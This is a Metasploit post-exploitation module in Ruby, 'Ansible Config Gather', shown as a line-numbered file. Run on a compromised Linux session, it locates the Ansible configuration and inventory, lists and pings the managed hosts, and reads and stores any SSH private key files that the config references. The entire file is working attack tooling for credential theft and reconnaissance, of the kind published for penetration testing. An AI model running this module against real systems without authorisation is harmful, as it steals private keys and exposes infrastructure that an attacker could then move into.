Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Auxiliary::Report
9
  include Msf::Exploit::Local::Ansible
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Ansible Config Gather',
16
        'Description' => %q{
17
          This module will grab ansible information including hosts, ping status, and the configuration file.
18
        },
19
        'License' => MSF_LICENSE,
20
        'Author' => [
21
          'h00die', # Metasploit Module
22
        ],
23
        'Platform' => ['linux', 'unix'],
24
        'SessionTypes' => ['shell', 'meterpreter'],
25
        'References' => [
26
        ],
27
        'Notes' => {
28
          'Stability' => [CRASH_SAFE],
29
          'Reliability' => [],
30
          'SideEffects' => []
31
        }
32
      )
33
    )
34

35
    register_options(
36
      [
37
        OptString.new('ANSIBLECFG', [true, 'Ansible config file location', '']),
38
        OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),
39
      ], self.class
40
    )
41

42
    register_advanced_options(
43
      [
44
        OptString.new('ANSIBLEINVENTORY', [true, 'Ansible-inventory executable location', '']),
45
      ], self.class
46
    )
47
  end
48

49
  def ansible_inventory
50
    return @ansible_inv if @ansible_inv
51

52
    [datastore['ANSIBLEINVENTORY'], '/usr/local/bin/ansible-inventory'].each do |exec|
53
      next if exec.empty?
54
      next unless file?(exec)
55
      next unless executable?(exec)
56

57
      @ansible_inv = exec
58
      return @ansible_inv
59
    end
60
    @ansible_inv
61
  end
62

63
  def ansible_cfg
64
    return @ansible_cfg if @ansible_cfg
65

66
    [datastore['ANSIBLECFG'], '/etc/ansible/ansible.cfg', '/playbook/ansible.cfg'].each do |cfg|
67
      next if cfg.empty?
68
      next if cfg.empty?
69
      next unless file?(cfg)
70

71
      @ansible_cfg = cfg
72
      return @ansible_cfg
73
    end
74
    @ansible_cfg
75
  end
76

77
  def ping_hosts_print
78
    results = ping_hosts
79
    if results.nil?
80
      print_error('Unable to parse ping hosts results')
81
      return
82
    end
83

84
    columns = ['Host', 'Status', 'Ping', 'Changed']
85
    table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)
86

87
    results.each do |match|
88
      table << [match['host'], match['status'], match['ping'], match['changed']]
89
    end
90
    print_good(table.to_s) unless table.rows.empty?
91
  end
92

93
  def conf
94
    unless file?(ansible_cfg)
95
      print_bad('Unable to find config file')
96
      return
97
    end
98

99
    ansible_config = read_file(ansible_cfg)
100
    stored_config = store_loot('ansible.cfg', 'text/plain', session, ansible_config, 'ansible.cfg', 'Ansible config file')
101
    print_good("Stored config to: #{stored_config}")
102
    ansible_config.lines.each do |line|
103
      next unless line.start_with?('private_key_file')
104

105
      file = line.split(' = ')[1].strip
106
      next unless file?(file)
107

108
      print_good("Private key file location: #{file}")
109

110
      key = read_file(file)
111
      loot = store_loot('ansible.private.key', 'text/plain', session, key, 'private.key', 'Ansible private key')
112
      print_good("Stored private key file to: #{loot}")
113
    end
114
  end
115

116
  def hosts_list
117
    hosts = cmd_exec("#{ansible_inventory} --list")
118
    hosts = JSON.parse(hosts)
119
    inventory = store_loot('ansible.inventory', 'application/json', session, hosts, 'ansible_inventory.json', 'Ansible inventory')
120
    print_good("Stored inventory to: #{inventory}")
121
    columns = ['Host', 'Connection']
122
    table = Rex::Text::Table.new('Header' => 'Ansible Hosts', 'Indent' => 1, 'Columns' => columns)
123
    hosts = hosts.dig('_meta', 'hostvars')
124
    hosts.each do |host|
125
      table << [host[0], host[1]['ansible_connection']]
126
    end
127
    print_good(table.to_s) unless table.rows.empty?
128
  end
129

130
  def run
131
    fail_with(Failure::NotFound, 'Ansible executable not found') if ansible_exe.nil?
132
    hosts_list
133
    ping_hosts_print
134
    conf
135
  end
136
end
137

138